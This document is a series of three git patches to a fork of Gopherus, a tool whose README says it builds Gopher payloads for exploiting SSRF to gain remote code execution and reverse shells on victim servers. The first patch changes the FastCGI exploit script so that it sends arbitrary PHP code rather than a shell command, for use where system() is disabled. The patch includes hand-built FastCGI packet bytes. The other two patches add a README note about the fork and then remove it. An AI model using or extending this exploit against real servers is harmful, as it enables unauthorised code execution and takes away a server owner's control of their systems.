From 892f282cdc8378262b2f4157d6a8d4ed94eee69a Mon Sep 17 00:00:00 2001 From: Vinicius <69733777+viniciuspereiras@users.noreply.github.com> Date: Mon, 20 Sep 2021 12:46:14 -0300 Subject: [PATCH 1/3] Change terminal command input to any php code input I changed the code so the user can send any payload (code) in php, since in some cases the system function is blocked, it was a simple change to just use len() to calculate the payload size and add it to the die() size , I've already done a PoC. --- scripts/FastCGI.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/scripts/FastCGI.py b/scripts/FastCGI.py index edf6b12..f4e4175 100644 --- a/scripts/FastCGI.py +++ b/scripts/FastCGI.py @@ -6,8 +6,8 @@ def FastCGI(): if(not filename): filename="/usr/share/php/PEAR.php" - command=raw_input("\033[96m" +"Terminal command to run: "+ "\033[0m") - length=len(command)+52 + phpcode=raw_input("\033[96m" +"PHP code to run: "+ "\033[0m") + length=len(phpcode)+43 char=chr(length) data = "\x0f\x10SERVER_SOFTWAREgo / fcgiclient \x0b\tREMOTE_ADDR127.0.0.1\x0f\x08SERVER_PROTOCOLHTTP/1.1\x0e" + chr(len(str(length))) @@ -19,7 +19,7 @@ def FastCGI(): temp3 = chr(len(data) % 8) end = str("\x00"*(len(data)%8)) + "\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00" + char + "\x04\x00" - end += "\x00\x00\x00\x00" + end += "\x00\x00\x00\x00" start = "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01" + temp1 + temp2 + temp3 + "\x00" From 1df3bcbae6ca279bac59cfd4889d60bbb3c1bd50 Mon Sep 17 00:00:00 2001 From: Vinicius <69733777+viniciuspereiras@users.noreply.github.com> Date: Mon, 20 Sep 2021 12:52:36 -0300 Subject: [PATCH 2/3] Update README.md fork explanation. --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 7410481..4df0aa0 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,5 @@ +#My fork: +Allows any php code input in FastCGI exploit, use to bypass system as a denided function. :) # Gopherus If you know a place which is SSRF vulnerable then, this tool will help you to generate Gopher payload for exploiting SSRF (Server Side Request Forgery) and gaining RCE (Remote Code Execution). And also it will help you to get the Reverse shell on the victim server. And for more information you can get a blog on the same [Blog on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) From 89cc1443e0b41f8a07917b8c9f86cab3363b3d63 Mon Sep 17 00:00:00 2001 From: Vinicius <69733777+viniciuspereiras@users.noreply.github.com> Date: Mon, 20 Sep 2021 12:56:24 -0300 Subject: [PATCH 3/3] Update README.md --- README.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/README.md b/README.md index 4df0aa0..7410481 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,3 @@ -#My fork: -Allows any php code input in FastCGI exploit, use to bypass system as a denided function. :) # Gopherus If you know a place which is SSRF vulnerable then, this tool will help you to generate Gopher payload for exploiting SSRF (Server Side Request Forgery) and gaining RCE (Remote Code Execution). And also it will help you to get the Reverse shell on the victim server. And for more information you can get a blog on the same [Blog on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)